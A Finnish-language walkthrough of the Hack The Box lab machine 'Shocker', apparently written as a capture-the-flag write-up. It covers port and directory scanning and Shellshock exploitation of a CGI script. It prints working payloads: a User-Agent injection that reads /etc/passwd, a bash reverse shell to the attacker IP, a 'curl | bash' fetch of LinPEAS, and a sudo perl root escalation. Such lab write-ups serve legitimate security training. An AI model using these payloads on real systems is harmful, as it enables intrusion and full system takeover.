Ensimmäisenä toimenpiteenä lisätty /etc/hosts -tiedostoon kohteen IP-osoite 10.10.10.56 vastaamaan osoitetta: shocker.htb.
User flag
Nmap-skannauksesta huomataan, että kohteessa on avoinna TCP-portit 80 (HTTP) ja 2222 (SSH). Kohteessa on Linux-käyttöjärjestelmä.
nmap -sVC -T4 -p- shocker.htb
Selaimella aukaistu osoite: http://shocker.htb/. Sivulla ei ole muuta sisältöä kuin yksi kuva.
Gobusterilla tehty hakemistoskannaus kohteeseen, ja huomataan hakemistot /.htaccess, /.htpasswd, /cgi-bin/ ja /server-status, joihin ei ole käyttöoikeutta (status: 403).
gobuster dir -u shocker.htb -w /usr/share/wordlists/dirb/big.txt
Gobusterilla tehty lisäksi hakemistoskannaus hakemistoon /cgi-bin/ ja etsitty hakemistosta Bash-, Perl- ja Python-skriptejä lisäämällä komentoon tiedostopäätteet sh, pl, py.
Gobuster löysi saatavilla olevan Bash-skriptin user.sh (status: 200).
gobuster dir -u shocker.htb/cgi-bin/ -w /usr/share/wordlists/dirb/big.txt -x sh,pl,py
Selaimella aukaistu osoite: http://shocker.htb/cgi-bin/user.sh ja ladattu user.sh skripti hyökkäyskoneelle.
user.sh skriptissä oli sisältönä: “Just an uptime test script”.
cat user.sh
Koska kohteen HTTP-palvelimessa on CGI-skripti käynnissä, tarkistettu Nmap NSE-skriptillä onko kohde haavoittuva Shellshock-hyökkäykselle. Syötteestä nähdään, että kohde on haavoittuva (CVE-2014-6271).
nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh shocker.htb
Kuinka hyödyntää kyseistä haavoittuvuutta: https://github.com/opsxcq/exploit-CVE-2014-6271
Burp Suitessa siepattu osoitteen http://shocker.htb/cgi-bin/user.sh requesti ja lähetetty Repeater-välilehdelle.
Requestin User-Agent -kenttään sijoitettu payloadi:
() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'
Lähetetty requesti ja onnistuneesti suoritettu komento: cat /etc/passwd
Hyökkäyskoneessa käynnistetty Netcat-kuuntelija porttiin 443 reverse shellin muodostamista varten.
nc -lvnp 443
Tehty Bash reverse shell käyttäen hyökkäyskoneen IP-osoitetta ja porttia 443:
/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1
Muokattu User-Agent -kenttään payloadi:
() { :; }; echo; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'
Requestin lähettämisen jälkeen Netcat-kuuntelijassa onnistuneesti saatu shell kohteeseen käyttäjänä shelly.
User flag löytyi hakemistosta: /home/shelly.
Root flag
Käytetään avuksi LinPEAS -työkalua, jotta löydetään kohteesta keinoja saada root-oikeudet.
Hyökkäyskoneessa käynnistetty Python HTTP-palvelin porttiin 80 samassa hakemistossa, jossa tiedosto linpeas.sh sijaitsee.
python3 -m http.server 80
Kohteessa ladattu tiedosto linpeas.sh hyökkäyskoneesta ja suoritettu skripti.
curl 10.10.14.7/linpeas.sh | bash
LinPEAS:n tuloksista huomataan, että käyttäjä shelly voi suorittaa kohteessa binääritiedoston /usr/bin/perl sudona ilman salasanaa.
GTFOBins:sta haettu komento, jolla on mahdollista saada root-oikeudet, jos binääritiedosto perl on sallittu suorittaa sudona.
sudo perl -e 'exec "/bin/sh";'
Onnistuneesti saatu root-shell kohteeseen.
Root-flag löytyi hakemistosta: /root.
Kohteeseen on myös mahdollista saada jalansija käyttämällä Metasploit-moduulia: exploit/multi/http/apache_mod_cgi_bash_env_exec.